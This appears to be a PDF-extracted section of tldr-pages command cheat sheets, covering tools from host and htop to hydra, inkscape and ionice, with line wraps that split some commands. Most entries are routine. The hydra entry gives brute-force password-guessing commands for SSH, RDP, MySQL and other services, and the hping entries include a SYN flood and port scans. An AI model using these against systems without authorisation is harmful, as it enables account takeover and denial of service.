• Activate the configuration defined in ~/.config/nixpkgs/home.nix:

home-manager build

• Activate the configuration and switch to it:

home-manager switch
host
Lookup Domain Name Server.

More information: https://manned.org/host.

• Lookup A, AAAA, and MX records of a domain:

host {{domain}}

• Lookup a field (CNAME, TXT,...) of a domain:

host -t {{field}} {{domain}}

• Reverse lookup an IP:

host {{ip_address}}

• Specify an alternate DNS server to query:

host {{domain}} {{8.8.8.8}}


hostapd
Start an access point using a wireless interface.

More information: https://w1.fi/hostapd/.

• Start an access point:

sudo hostapd {{path/to/hostapd.conf}}

• Start an access point, forking into the background:

sudo hostapd -B {{path/to/hostapd.conf}}


hostess
An idempotent command-line utility for managing the /etc/hosts file.

More information: https://github.com/cbednarski/hostess.

• List domains, target IP addresses and on/off status:

hostess list

• Add a domain pointing to your machine to your hosts file:

hostess add {{local.example.com}} {{127.0.0.1}}

• Remove a domain from your hosts file:

hostess del {{local.example.com}}

• Disable a domain (but don't remove it):

hostess off {{local.example.com}}


hostid
Prints the numeric identifier for the current host (not necessarily the IP address).

More information: https://www.gnu.org/software/coreutils/hostid.

• Display the numeric identifier for the current host in hexadecimal:

hostid
hostname
Show or set the system's host name.

More information: https://manned.org/hostname.

• Show current host name:

hostname

• Show the network address of the host name:

hostname -i

• Show all network addresses of the host:

hostname -I

• Show the FQDN (Fully Qualified Domain Name):

hostname --fqdn

• Set current host name:

hostname {{new_hostname}}
hping
Command-line oriented TCP/IP packet assembler and analyzer.

Inspired by the ping command.

More information: http://www.hping.org.

• Ping localhost over TCP:

hping3 {{localhost}}

• Ping an IP address over TCP on a specific port:

hping3 -p {{80}} -S {{192.168.1.1}}

• Ping an IP address over UDP on port 80:

hping3 --udp -p {{80}} -S {{192.168.1.1}}

• Scan a set of TCP ports on a specific IP address:

hping3 --scan {{80,3000,9000}} -S {{192.168.1.1}}

• Perform a charge test on port 80:

hping3 --flood -p {{80}} -S {{192.168.1.1}}


hping3
Advanced ping utility which supports protocols such TCP, UDP, and raw IP.

Best run with elevated priviledges.

More information: https://github.com/antirez/hping.

• Ping a destination with 4 ICMP ping requests:

hping3 --icmp --count {{4}} {{ip_or_hostname}}

• Scan TCP port 80, scanning from the specific local source port 5090:

hping3 --verbose --syn --destport {{80}} --baseport {{5090}}


{{ip_or_hostname}}

• Traceroute using a TCP scan to a specific destination port:

hping3 --traceroute --verbose --syn --destport {{80}}


{{ip_or_hostname}}

• Perform a TCP ACK scan to check if a given host is alive:

hping3 --count {{2}} --verbose --destport {{80}} -A


{{ip_or_hostname}}
hr
Print a horizontal rule in the terminal.

More information: https://github.com/LuRsT/hr.

• Print a horizontal rule:

hr

• Print a horizontal rule with a custom string:

hr {{string}}

• Print a multiline horizontal rule:

hr {{string_a}} {{string_b}} {{string_c}}


hsd-cli
The command-line REST tool for the Handshake blockchain.

More information: https://handshake.org.

• Retrieve information about the current server:

hsd-cli info

• Broadcast a local transaction:

hsd-cli broadcast {{transaction_hex}}

• Retrieve a mempool snapshot:

hsd-cli mempool

• View a transaction by address or hash:

hsd-cli tx {{address_or_hash}}

• View a coin by its hash index or address:

hsd-cli coin {{hash_index_or_address}}

• View a block by height or hash:

hsd-cli block {{height_or_hash}}

• Reset the chain to the specified block:

hsd-cli reset {{height_or_hash}}

• Execute an RPC command:

hsd-cli rpc {{command}} {{args}}


hsw-cli
The command-line REST tool for the Handshake wallet.

More information: https://npmjs.com/package/hs-client.

• Unlock the current wallet (timeout in seconds):

hsw-cli unlock {{passphrase}} {{timeout}}

• Lock the current wallet:

hsw-cli lock

• View the current wallet's details:

hsw-cli get

• View the current wallet's balance:

hsw-cli balance

• View the current wallet's transaction history:

hsw-cli history

• Send a transaction with the specified coin amount to an address:

hsw-cli send {{address}} {{1.05}}

• View the current wallet's pending transactions:

hsw-cli pending

• View details about a transaction:

hsw-cli tx {{transaction_hash}}
html5validator
A command-line tool for testing HTML5 validity.

More information: https://github.com/svenkreiss/html5validator.

• Validate a specific file:

html5validator {{path/to/file}}

• Validate all HTML files in a specific directory:

html5validator --root {{path/to/directory}}

• Show warnings as well as errors:

html5validator --show-warnings {{path/to/file}}

• Match multiple files using a glob pattern:

html5validator --root {{path/to/directory}} --match "{{*.html


*.php}}"

• Ignore specific directory names:

html5validator --root {{path/to/directory}} --blacklist


"{{node_modules vendor}}"

• Output the results in a specific format:

html5validator --format {{gnu|xml|json|text}} {{path/to/


file}}

• Output the log at a specific verbosity level:

html5validator --root {{path/to/directory}} --log {{debug|


info|warning}}
htop
Display dynamic real-time information about running processes. An enhanced version
of top.

More information: https://htop.dev/.

• Start htop:

htop

• Start htop displaying processes owned by a specific user:

htop --user {{username}}

• Sort processes by a specified sort_item (use htop --sort help for available
options):

htop --sort {{sort_item}}

• See interactive commands while running htop:

• Display help:

htop --help
htpasswd
Create and manage htpasswd files to protect web server directories using basic
authentication.

More information: https://httpd.apache.org/docs/current/programs/htpasswd.html.

• Create/overwrite htpasswd file:

htpasswd -c {{path/to/file}} {{username}}

• Add user to htpasswd file or update existing user:

htpasswd {{path/to/file}} {{username}}

• Add user to htpasswd file in batch mode without an interactive password prompt
(for script usage):

htpasswd -b {{path/to/file}} {{username}} {{password}}

• Delete user from htpasswd file:

htpasswd -D {{path/to/file}} {{username}}

• Verify user password:

htpasswd -v {{path/to/file}} {{username}}

• Display a string with username (plain text) and password (md5):

htpasswd -nbm {{username}} {{password}}


http-server-upload
Zero-configuration command-line HTTP server which provides a lightweight interface
to upload files.

More information: https://github.com/crycode-de/http-server-upload.

• Start an HTTP server on the default port to upload files to the current directory:

http-server-upload

• Start an HTTP server with the specified maximum allowed file size for uploads in
MiB (defaults to 200 MiB):

MAX_FILE_SIZE={{size_in_megabytes}} http-server-upload

• Start an HTTP server on a specific port to upload files to the current directory:

PORT={{port}} http-server-upload

• Start an HTTP server, storing the uploaded files in a specific directory:

UPLOAD_DIR={{path/to/directory}} http-server-upload

• Start an HTTP server using a specific directory to temporarily store files during the
upload process:

UPLOAD_TMP_DIR={{path/to/directory}} http-server-upload

• Start an HTTP server accepting uploads with a specific token field in the HTTP
post:

TOKEN={{secret}} http-server-upload
http-server
Simple static HTTP server to serve static files.

More information: https://github.com/http-party/http-server.

• Start an HTTP server listening on the default port to serve the current directory:

http-server

• Start an HTTP server on a specific port to serve a specific directory:

http-server {{path/to/directory}} --port {{port}}

• Start an HTTP server using basic authentication:

http-server --username {{username}} --password {{password}}

• Start an HTTP server with directory listings disabled:

http-server -d {{false}}

• Start an HTTPS server on the default port using the specified certificate:

http-server --ssl --cert {{path/to/cert.pem}} --key {{path/


to/key.pem}}

• Start an HTTP server and include the client's IP address in the output logging:

http-server --log-ip

• Start an HTTP server with CORS enabled by including the Access-Control-


Allow-Origin: * header in all responses:

http-server --cors

• Start an HTTP server with logging disabled:

http-server --silent
http
HTTPie: HTTP client, aims to be easier to use than cURL.

More information: https://httpie.org.

• Download a URL to a file:

http --download {{example.org}}

• Send form-encoded data:

http --form {{example.org}} {{name='bob'}}


{{profile_picture@'bob.png'}}

• Send JSON object:

http {{example.org}} {{name='bob'}}

• Specify an HTTP method:

http {{HEAD}} {{example.org}}

• Include an extra header:

http {{example.org}} {{X-MyHeader:123}}

• Pass a username and password for server authentication:

http --auth {{username:password}} {{example.org}}

• Specify raw request body via stdin:

cat {{data.txt}} | http PUT {{example.org}}


httpflow
A command-line utility to capture and dump HTTP streams.

More information: https://github.com/six-ddc/httpflow.

• Capture traffic on all interfaces:

httpflow -i {{any}}

• Use a bpf-style capture to filter the results:

httpflow {{host httpbin.org or host baidu.com}}

• Use a regular expression to filter requests by URLs:

httpflow -u '{{regular_expression}}'

• Read packets from pcap format binary file:

httpflow -r {{out.cap}}

• Write the output to a directory:

httpflow -w {{path/to/directory}}
httping
Measure the latency and throughput of a web server.

More information: https://manned.org/httping.

• Ping the specified URL:

httping -g {{url}}

• Ping the web server on host and port:

httping -h {{host}} -p {{port}}

• Ping the web server on host using a TLS connection:

httping -l -g https://{{host}}

• Ping the web server on host using HTTP basic authentication:

httping -g http://{{host}} -U {{username}} -P {{password}}


httprobe
Take a list of domains and probe for working HTTP and HTTPS servers.

More information: https://github.com/tomnomnom/httprobe.

• Probe a list of domains from a text file:

cat {{input_file}} | httprobe

• Only check for HTTP if HTTPS is not working:

cat {{input_file}} | httprobe --prefer-https

• Probe additional ports with a given protocol:

cat {{input_file}} | httprobe -p {{https:2222}}

• Output all available options:

httprobe --help
httpry
A lightweight packet sniffer for displaying and logging HTTP traffic.

It can be run in real-time displaying the traffic as it is parsed, or as a daemon process


that logs to an output file.

More information: http://dumpsterventures.com/jason/httpry/.

• Save output to a file:

httpry -o {{path/to/file.log}}

• Listen on a specific interface and save output to a binary pcap format file:

httpry {{eth0}} -b {{path/to/file.pcap}}

• Filter output by a comma-separated list of HTTP verbs:

httpry -m {{get|post|put|head|options|delete|trace|connect|
patch}}

• Read from an input capture file and filter by IP:

httpry -r {{path/to/file.log}} '{{host 192.168.5.25}}'

• Run as daemon process:

httpry -d -o {{path/to/file.log}}
hub
A wrapper for Git that adds commands for working with GitHub-based projects.

If set up as instructed by hub alias, one can use git to run hub commands.

More information: https://hub.github.com.

• Clone a repository using its slug (owners can omit the username):

hub clone {{username}}/{{repo_name}}

• Create a fork of the current repository (cloned from another user) under your
GitHub profile:

hub fork

• Push the current local branch to GitHub and create a PR for it in the original
repository:

hub push {{remote_name}} && hub pull-request

• Create a PR of the current (already pushed) branch, reusing the message from the
first commit:

hub pull-request --no-edit

• Create a new branch with the contents of a pull request and switch to it:

hub pr checkout {{pr_number}}

• Upload the current (local-only) repository to your GitHub account:

hub create

• Fetch Git objects from upstream and update local branches:

hub sync
hugo
Template-based static site generator. Uses modules, components, and themes.

More information: https://gohugo.io.

• Create a new Hugo site:

hugo new site {{path/to/site}}

• Create a new Hugo theme (themes may also be downloaded from https://
themes.gohugo.io/):

hugo new theme {{theme_name}}

• Create a new page:

hugo new {{section_name}}/{{filename}}

• Build a site to the ./public/ directory:

hugo

• Build a site including pages that are marked as a "draft":

hugo --buildDrafts

• Build a site to a given directory:

hugo --destination {{path/to/destination}}

• Build a site, start up a webserver to serve it, and automatically reload when pages
are edited:

hugo server
hunspell
Check spelling.

More information: https://hunspell.github.io/.

• Check the spelling of a file:

hunspell {{path/to/file}}

• Check the spelling of a file with the en_US dictionary:

hunspell -d {{en_US}} {{path/to/file}}

• List misspelled words in a file:

hunspell -l {{path/to/file}}
husky
Native Git hooks made easy.

More information: https://typicode.github.io/husky.

• Install Husky in the current directory:

husky install

• Install Husky into a specific directory:

husky install {{path/to/directory}}

• Set a specific command as a pre-push hook for Git:

husky set {{.husky/pre-push}} "{{command}}


{{command_arguments}}"

• Add a specific command to the current pre-commit hook:

husky add {{.husky/pre-commit}} "{{command}}


{{command_arguments}}"

• Uninstall Husky hooks from the current directory:

husky uninstall

• Display help:

husky
hydra
Online password guessing tool.

Protocols supported include FTP, HTTP(S), SMTP, SNMP, XMPP, SSH, and more.

More information: https://github.com/vanhauser-thc/thc-hydra.

• Start Hydra's wizard:

hydra-wizard

• Guess SSH credentials using a given username and a list of passwords:

hydra -l {{username}} -P {{path/to/wordlist.txt}} {{host_ip}}


{{ssh}}

• Guess Telnet credentials using a list of usernames and a single password,


specifying a non-standard port and IPv6:

hydra -L {{path/to/usernames.txt}} -p {{password}} -s


{{port}} -6 {{host_ip}} {{telnet}}

• Guess FTP credentials using usernames and passwords lists, specifying the number
of threads:

hydra -L {{path/to/usernames.txt}} -P {{path/to/


wordlist.txt}} -t {{n_tasks}} {{host_ip}} {{ftp}}

• Guess MySQL credentials using a username and a passwords list, exiting when a
username/password pair is found:

hydra -l {{username}} -P {{path/to/wordlist.txt}} -f


{{host_ip}} {{mysql}}

• Guess RDP credentials using a username and a passwords list, showing each
attempt:

hydra -l {{username}} -P {{path/to/wordlist.txt}} -V {{rdp://


host_ip}}

• Guess IMAP credentials on a range of hosts using a list of colon-separated


username/password pairs:
hydra -C {{path/to/username_password_pairs.txt}} {{imap://
[host_range_cidr]}}

• Guess POP3 credentials on a list of hosts using usernames and passwords lists,
exiting when a username/password pair is found:

hydra -L {{path/to/usernames.txt}} -P {{path/to/


wordlist.txt}} -M {{path/to/hosts.txt}} -F {{pop3}}
hyperfine
A command-line benchmarking tool.

More information: https://github.com/sharkdp/hyperfine/.

• Run a basic benchmark, performing at least 10 runs:

hyperfine '{{make}}'

• Run a comparative benchmark:

hyperfine '{{make target1}}' '{{make target2}}'

• Change minimum number of benchmarking runs:

hyperfine --min-runs {{7}} '{{make}}'

• Perform benchmark with warmup:

hyperfine --warmup {{5}} '{{make}}'

• Run a command before each benchmark run (to clear caches, etc.):

hyperfine --prepare '{{make clean}}' '{{make}}'

• Run a benchmark where a single parameter changes for each run:

hyperfine --prepare '{{make clean}}' --parameter-scan


{{num_threads}} {{1}} {{10}} '{{make -j {num_threads}}}'
ia
Command-line tool to interact with archive.org.

More information: https://archive.org/services/docs/api/internetarchive/cli.html.

• Configure ia with API keys (some functions won't work without this step):

ia configure

• Upload one or more items to archive.org:

ia upload {{identifier}} {{path/to/file}} --


metadata="{{mediatype:data}}" --metadata="{{title:example}}"

• Download one or more items from archive.org:

ia download {{item}}

• Delete one or more items from archive.org:

ia delete {{identifier}} {{file}}

• Search on archive.org, returning results as JSON:

ia search '{{subject:"subject" collection:collection}}'


ibmcloud login
Log in to the IBM Cloud.

More information: https://cloud.ibm.com/docs/cli?topic=cli-


ibmcloud_cli#ibmcloud_login.

• Log in by using an interactive prompt:

ibmcloud login

• Log in to a specific API endpoint (default is cloud.ibm.com):

ibmcloud login -a {{api_endpoint}}

• Log in by providing username, password and the targeted region as parameters:

ibmcloud login -u {{username}} -p {{password}} -r {{us-


south}}

• Log in with an API key, passing it as an argument:

ibmcloud login --apikey {{api_key_string}}

• Log in with an API key, passing it as a file:

ibmcloud login --apikey @{{path/to/api_key_file}}

• Log in with a federated ID (single sign-on):

ibmcloud login --sso


ibmcloud
A command-line tool for managing IBM Cloud apps and services.

More information: https://cloud.ibm.com/docs/cli?topic=cli-ibmcloud_cli.

• Update ibmcloud to the latest version:

ibmcloud update

• Install the Cloud Foundry module for accessing Cloud Foundry services:

ibmcloud cf install

• List all available IBM Cloud regions:

ibmcloud regions

• Display ibmcloud version:

ibmcloud version

• Display help:

ibmcloud help

• Display help for a subcommand:

ibmcloud help {{subcommand}}


ical
A Hirji/Islamic calendar and converter for the terminal.

More information: https://manned.org/ical.

• Display the current month's calendar:

ical

• Convert a Gregorian date to a Hijri date:

ical --gregorian {{yyyymmdd}}

• Convert a Hirji date to a Gregorian date:

ical --hijri {{yyyymmdd}}


iconv
Converts text from one encoding to another.

More information: https://manned.org/iconv.

• Convert file to a specific encoding, and print to stdout:

iconv -f {{from_encoding}} -t {{to_encoding}} {{input_file}}

• Convert file to the current locale's encoding, and output to a file:

iconv -f {{from_encoding}} {{input_file}} > {{output_file}}

• List supported encodings:

iconv -l
id
Display current user and group identity.

More information: https://www.gnu.org/software/coreutils/id.

• Display current user's ID (UID), group ID (GID) and groups to which they belong:

id

• Display the current user identity as a number:

id -u

• Display the current group identity as a number:

id -g

• Display an arbitrary user's ID (UID), group ID (GID) and groups to which they
belong:

id {{username}}
id3tag
Tool for reading, writing, and manipulating ID3v1 and ID3v2 tags of MP3 files.

More information: https://manned.org/id3tag.

• Set artist and title tag of an MP3 file:

id3tag --artist={{artist}} --title={{title}} {{path/to/


file.mp3}}

• Set album title of all MP3 files in the current directory:

id3tag --album={{album}} {{*.mp3}}

• Get more help:

id3tag --help
identify
Command-line utility of Image Magick project to describe the format and characteristics
of one or more image files.

More information: https://imagemagick.org/script/identify.php.

• Describe the format and basic characteristics of an image:

identify {{path/to/image}}

• Describe the format and verbose characteristics of an image:

identify -verbose {{path/to/image}}

• Collect dimensions of all JPEG files under current directory:

identify -format "%f,%w,%h\n" *.{{jpg}} > {{path/to/


filelist.csv}}
idnits
Check internet-drafts for submission nits.

Looks for violations of Section 2.1 and 2.2 of the requirements listed on https://
www.ietf.org/id-info/checklist.

More information: https://tools.ietf.org/tools/idnits/.

• Check a file for nits:

idnits {{path/to/file.txt}}

• Count nits without displaying them:

idnits --nitcount {{path/to/file.txt}}

• Show extra information about offending lines:

idnits --verbose {{path/to/file.txt}}

• Expect the specified year in the boilerplate instead of the current year:

idnits --year {{2021}} {{path/to/file.txt}}

• Assume the document is of the specified status:

idnits --doctype {{standard|informational|experimental|bcp|


ps|ds}} {{path/to/file.txt}}
iex
IEx is the interactive shell for Elixir.

More information: https://hexdocs.pm/iex.

• Start an interactive session:

iex

• Start a session that remembers history:

iex --erl "-kernel shell_history enabled"

• Start and load Mix project files:

iex -S mix
if
Performs conditional processing in shell scripts.

See also: test, [.

More information: https://www.gnu.org/software/bash/manual/bash.html#Conditional-


Constructs.

• Execute the specified commands if the condition command's exit status is zero:

if {{condition_command}}; then {{echo "Condition is true"}};


fi

• Execute the specified commands if the condition command's exit status is not
zero:

if ! {{condition_command}}; then {{echo "Condition is


true"}}; fi

• Execute the first specified commands if the condition command's exit status is
zero otherwise execute the second specified commands:

if {{condition_command}}; then {{echo "Condition is true"}};


else {{echo "Condition is false"}}; fi

• Check whether a [f]ile exists:

if [[ -f {{path/to/file}} ]]; then {{echo "Condition is


true"}}; fi

• Check whether a [d]irectory exists:

if [[ -d {{path/to/directory}} ]]; then {{echo "Condition is


true"}}; fi

• Check whether a file or directory [e]xists:

if [[ -e {{path/to/file_or_directory}} ]]; then {{echo


"Condition is true"}}; fi

• Check whether a variable is defined:

if [[ -n "${{variable}}" ]]; then {{echo "Condition is


true"}}; fi

• List all possible conditions (test is an alias to [; both are commonly used with
if):
man [
ifconfig
Network Interface Configurator.

More information: https://net-tools.sourceforge.io/man/ifconfig.8.html.

• View network settings of an Ethernet adapter:

ifconfig eth0

• Display details of all interfaces, including disabled interfaces:

ifconfig -a

• Disable eth0 interface:

ifconfig eth0 down

• Enable eth0 interface:

ifconfig eth0 up

• Assign IP address to eth0 interface:

ifconfig eth0 {{ip_address}}


ignite
A CLI for React Native boilerplates, plugins, generators, and more.

More information: https://infinite.red/ignite.

• Create a new React Native project:

ignite new {{project_name}}

• Generate file from a plugin:

ignite generate {{plugin_name}} {{filename}}

• Add an Ignite plugin to the project:

ignite add {{plugin_name}}

• Remove an Ignite plugin from the project:

ignite remove {{plugin_name}}


imapsync
Email IMAP tool for syncing, copying and migrating email mailboxes between two IMAP
servers, one way, and without duplicates.

More information: https://imapsync.lamiral.info.

• Synchronize IMAP account between host1 and host2:

imapsync --host1 {{host1}} --user1 {{user1}} --password1


{{secret1}} --host2 {{host2}} --user2 {{user2}} --password2
{{secret2}}
img2pdf
Command-line lossless converter of raster images to PDF.

More information: https://gitlab.mister-muffin.de/josch/img2pdf.

• Convert multiple images to a single PDF, each image being on its own page:

img2pdf {{path/to/image1.jpg}} {{path/to/image2.jpg}} --


output {{path/to/file.pdf}}

• Convert only the first frame of a multi-frame image to PDF:

img2pdf {{path/to/file.gif}} --first-frame-only --output


{{path/to/file.pdf}}

• Auto orient the image, use a page size of A4 in landscape mode, and set a border of
2cm horizontally and 5.1cm vertically:

img2pdf {{path/to/file.jpg}} --auto-orient --pagesize


{{A4^T}} --border {{2cm}}:{{5.1cm}} --output {{path/to/
file.pdf}}

• Shrink only larger images to a 10cm by 15cm rectangle inside a 30x20cm page:

img2pdf {{path/to/file.tiff}} --pagesize {{30cm}}x{{20cm}} --


imgsize {{10cm}}x{{15cm}} --fit {{shrink}} --output {{path/
to/file.pdf}}

• Convert an image to PDF, and specify metadata for the resulting file:

img2pdf {{path/to/file.png}} --title {{title}} --author


{{author}} --creationdate {{1970-01-31}} --keywords
{{keyword1 keyword2}} --subject {{subject}} --output {{path/
to/file.pdf}}
import
Capture some or all of an X server screen, and save the image to a file.

Part of the ImageMagick library.

More information: https://imagemagick.org/script/import.php.

• Capture the entire X server screen in the PostScript image format:

import -window root {{output.postscript}}

• Capture contents of a remote X server screen in the PNG format:

import -window root -display {{remote_host}}:{{screen}}.


{{display}} {{output.png}}

• Capture a specific window, given its ID as displayed by xwininfo, into the JPEG
format:

import -window {{window_id}} {{output.jpg}}


in-toto-record
Create a signed link metadata file to provide evidence for supply chain steps.

More information: https://in-toto.readthedocs.io/en/latest/command-line-tools/in-


toto-record.html.

• Start the record (creates a preliminary link file):

in-toto-record start -n {{edit-files}} -k {{path/to/


key_file}} -m {{.}}

• Stop the record (expects a preliminary link file):

in-toto-record stop -n {{edit-files}} -k {{path/to/key_file}}


-p {{.}}
in-toto-run
Generating link metadata while carrying out a supply chain step.

More information: https://in-toto.readthedocs.io/en/latest/command-line-tools/in-


toto-run.html.

• Tag a git repo and signing the resulting link file:

in-toto-run -n {{tag}} --products {{.}} -k {{key_file}} --


{{git tag v1.0}}

• Create a tarball, storing files as materials and the tarball as product:

in-toto-run -n {{package}} -m {{project}} -p


{{project.tar.gz}} -- {{tar czf project.tar.gz project}}

• Generate signed attestations for review work:

in-toto-run -n {{review}} -k {{key_file}} -m {{document.pdf}}


-x

• Scan the image using Trivy and generate link file:

in-toto-run -n {{scan}} -k {{key_file}} -p {{report.json}} --


{{/bin/sh -c "trivy -o report.json -f json <IMAGE>"}}
in-toto-sign
Sign in-toto link or layout metadata or verify their signatures.

More information: https://in-toto.readthedocs.io/en/latest/command-line-tools/in-


toto-sign.html.

• Sign 'unsigned.layout' with two keys and write it to 'root.layout':

in-toto-sign -f {{unsigned.layout}} -k {{priv_key1}}


{{priv_key2}} -o {{root.layout}}

• Replace signature in link file and write to default filename:

in-toto-sign -f {{package.2f89b927.link}} -k {{priv_key}}

• Verify a layout signed with 3 keys:

in-toto-sign -f {{root.layout}} -k {{pub_key0}} {{pub_key1}}


{{pub_key2}} --verify

• Sign a layout with the default GPG key in default GPG keyring:

in-toto-sign -f {{root.layout}} --gpg

• Verify a layout with a GPG key identified by keyid '...439F3C2':

in-toto-sign -f {{root.layout}} --verify --gpg {{...439F3C2}}


in2csv
Converts various tabular data formats into CSV.

Included in csvkit.

More information: https://csvkit.readthedocs.io/en/latest/scripts/in2csv.html.

• Convert an XLS file to CSV:

in2csv {{data.xls}}

• Convert a DBF file to a CSV file:

in2csv {{data.dbf}} > {{data.csv}}

• Convert a specific sheet from an XLSX file to CSV:

in2csv --sheet={{sheet_name}} {{data.xlsx}}

• Pipe a JSON file to in2csv:

cat {{data.json}} | in2csv -f json > {{data.csv}}


indent
Change the appearance of a C/C++ program by inserting or deleting whitespace.

More information: https://www.gnu.org/software/indent/.

• Format C/C++ source according to the Linux style guide, automatically back up the
original files, and replace with the indented versions:

indent --linux-style {{path/to/source.c}} {{path/to/


another_source.c}}

• Format C/C++ source according to the GNU style, saving the indented version to a
different file:

indent --gnu-style {{path/to/source.c}} -o {{path/to/


indented_source.c}}

• Format C/C++ source according to the style of Kernighan & Ritchie (K&R), no tabs,
3 spaces per indent, and wrap lines at 120 characters:

indent --k-and-r-style --indent-level3 --no-tabs --line-


length120 {{path/to/source.c}} -o {{path/to/
indented_source.c}}
infection
A mutation testing framework for PHP.

More information: https://infection.github.io.

• Analyse code using the configuration file (or create one if it does not exist):

infection

• Use a specific number of threads:

infection --threads {{number_of_threads}}

• Specify a minimum Mutation Score Indicator (MSI):

infection --min-msi {{percentage}}

• Specify a minimum covered code MSI:

infection --min-covered-msi {{percentage}}

• Use a specific test framework (defaults to PHPUnit):

infection --test-framework {{phpunit|phpspec}}

• Only mutate lines of code that are covered by tests:

infection --only-covered

• Display the mutation code that has been applied:

infection --show-mutations

• Specify the log verbosity:

infection --log-verbosity {{default|all|none}}


influx
InfluxDB command-line client.

More information: https://docs.influxdata.com/influxdb/v1.7/tools/shell/.

• Connect to an InfluxDB running on localhost with no credentials:

influx

• Connect with a specific username (will prompt for a password):

influx -username {{username}} -password ""

• Connect to a specific host:

influx -host {{hostname}}

• Use a specific database:

influx -database {{database_name}}

• Execute a given command:

influx -execute "{{influxql_command}}"

• Return output in a specific format:

influx -execute "{{influxql_command}}" -format {{json|csv|


column}}
info
Reads documentation stored in the info format.

More information: https://en.wikipedia.org/wiki/Info_(Unix).

• Start reading top-level directory menu:

info

• Start reading at given menu item node from top-level directory:

info {{menu_item}}

• Start reading at second menu item within first menu item manual:

info {{first_menu_item}} {{second_menu_item}}


initdb
Create a PostgreSQL database on disk.

More information: https://www.postgresql.org/docs/9.5/app-initdb.html.

• Create a database at /usr/local/var/postgres:

initdb -D /usr/local/var/postgres
inkmake
GNU Makefile-style SVG exporting using Inkscape's backend.

More information: https://github.com/wader/inkmake.

• Export an SVG file executing the specified Inkfile:

inkmake {{path/to/Inkfile}}

• Execute an Inkfile and show detailed information:

inkmake --verbose {{path/to/Inkfile}}

• Execute an Inkfile, specifying SVG input file(s) and an output file:

inkmake --svg {{path/to/file.svg}} --out {{path/to/


output_image}} {{path/to/Inkfile}}

• Specify a custom Inkscape binary to use as the backend:

inkmake --inkscape {{/Applications/Inkscape.app/Contents/


Resources/bin/inkscape}} {{path/to/Inkfile}}

• Display help:

inkmake --help
inkscape
An SVG (Scalable Vector Graphics) editing program.

For Inkscape versions up to 0.92.x, use -e instead of -o.

More information: https://inkscape.org.

• Open an SVG file in the Inkscape GUI:

inkscape {{filename.svg}}

• Export an SVG file into a bitmap with the default format (PNG) and the default
resolution (96 DPI):

inkscape {{filename.svg}} -o {{filename.png}}

• Export an SVG file into a bitmap of 600x400 pixels (aspect ratio distortion may
occur):

inkscape {{filename.svg}} -o {{filename.png}} -w {{600}} -h


{{400}}

• Export the drawing (bounding box of all objects) of an SVG file into a bitmap:

inkscape {{filename.svg}} -o {{filename.png}} -D

• Export a single object, given its ID, into a bitmap:

inkscape {{filename.svg}} -i {{id}} -o {{object.png}}

• Export an SVG document to PDF, converting all texts to paths:

inkscape {{filename.svg}} -o {{filename.pdf}} --export-text-


to-path

• Duplicate the object with id="path123", rotate the duplicate 90 degrees, save the
file, and quit Inkscape:

inkscape {{filename.svg}} --select=path123 --


verb="{{EditDuplicate;ObjectRotate90;FileSave;FileQuit}}"
inkview
Inkscape graphical SVG previewer.

Also functions as a slideshow viewer.

More information: http://wiki.inkscape.org/wiki/index.php/Inkview.

• Preview an SVG:

inkview {{path/to/file.svg}}

• Preview multiple SVGs (use arrow keys to navigate):

inkview {{path/to/file_a.svg}} {{path/to/file_b.svg}} {{path/


to/file_c.svg}}
install-tl
TeX Live cross-platform installer.

More information: https://tug.org/texlive/.

• Start the text-based installer (default on Unix systems):

install-tl -no-gui

• Start the GUI installer (default on macOS and Windows, requires Tcl/Tk):

install-tl -gui

• Install TeX Live as defined in a specific profile file:

install-tl -profile {{path/to/texlive.profile}}

• Start the installer with the settings from a specific profile file:

install-tl -init-from-file {{path/to/texlive.profile}}

• Start the installer for installation on a portable device, like a USB stick:

install-tl -portable

• Show help for install-tl:

install-tl -help
install
Copy files and set attributes.

Copy files (often executable) to a system location like /usr/local/bin, give them the
appropriate permissions/ownership.

More information: https://www.gnu.org/software/coreutils/install.

• Copy files to the destination:

install {{path/to/source}} {{path/to/destination}}

• Copy files to the destination, setting their ownership:

install --owner {{user}} {{path/to/source}} {{path/to/


destination}}

• Copy files to the destination, setting their group ownership:

install --group {{user}} {{path/to/source}} {{path/to/


destination}}

• Copy files to the destination, setting their mode:

install --mode {{+x}} {{path/to/source}} {{path/to/


destination}}

• Copy files and apply access/modification times of source to the destination:

install --preserve-timestamps {{path/to/source}} {{path/to/


destination}}
interdiff
Show differences between two diff files.

More information: http://freshmeat.sourceforge.net/projects/patchutils.

• Compare diff files:

interdiff {{old_file}} {{new_file}}

• Compare diff files, ignoring whitespace:

interdiff -w {{old_file}} {{new_file}}


ionic
A framework to build hybrid mobile apps.

More information: https://ionicframework.com/docs/cli.

• Create a new project:

ionic start

• Start a local dev server for app dev/testing:

ionic serve

• Generate new app component, directive, page, pipe, provider or tabs:

ionic g {{page}}

• Show versions of Ionic, Cordova, environment, etc.:

ionic info

• Run app on an Android/iOS device:

ionic cordova run {{android|ios}} --device

• Check the health of an Ionic app:

ionic doctor {{check}}


ionice
Get or set program I/O scheduling class and priority.

Scheduling classes: 1 (realtime), 2 (best-effort), 3 (idle).

Priority levels: 0 (the highest) - 7 (the lowest).

More information: https://manned.org/ionice.

• Set I/O scheduling class of a running process:

ionice -c {{scheduling_class}} -p {{pid}}

• Run a command with custom I/O scheduling class and priority:

ionice -c {{scheduling_class}} -n {{priority}} {{command}}

• Print the I/O scheduling class and priority of a running process:

ionice -p {{pid}}
ioping
Monitor I/O latency in real time.

More information: https://github.com/koct9i/ioping.

• Show disk I/O latency using the default values and the current directory:

ioping .

• Measure latency on /tmp using 10 requests of 1 megabyte each:

ioping -c 10 -s 1M /tmp

• Measure disk seek rate on /dev/sdX:

ioping -R {{/dev/sdX}}

• Measure disk sequential speed on /dev/sdX:

ioping -RL {{/dev/sdX}}


iotop
Display a table of current I/O usage by processes or threads.

More information: https://manned.org/iotop.

• Start top-like I/O monitor:

sudo iotop

• Show only processes or threads actually doing I/O:

sudo iotop --only

• Show I/O usage in non-interactive mode:

sudo iotop --batch

• Show only I/O usage of processes (default is to show all threads):

sudo iotop --processes

• Show I/O usage of given PID(s):

sudo iotop --pid={{PID}}

• Show I/O usage of a given user:

sudo iotop --user={{user}}

• Show accumulated I/O instead of bandwidth:

sudo iotop --accumulated


ipaggcreate
Produce aggregate statistics of TCP/IP dumps.

More information: https://manned.org/ipaggcreate.

• Count the number of packets sent from each source address appearing in a pcap
file:

ipaggcreate --src {{path/to/file.pcap}}

• Group and count packets read from a network interface by IP packet length:

ipaggcreate --interface {{eth0}} --length

• Count the number of bytes sent between each address pair appearing in a pcap
file:

ipaggcreate --address-pairs --bytes {{path/to/file.pcap}}


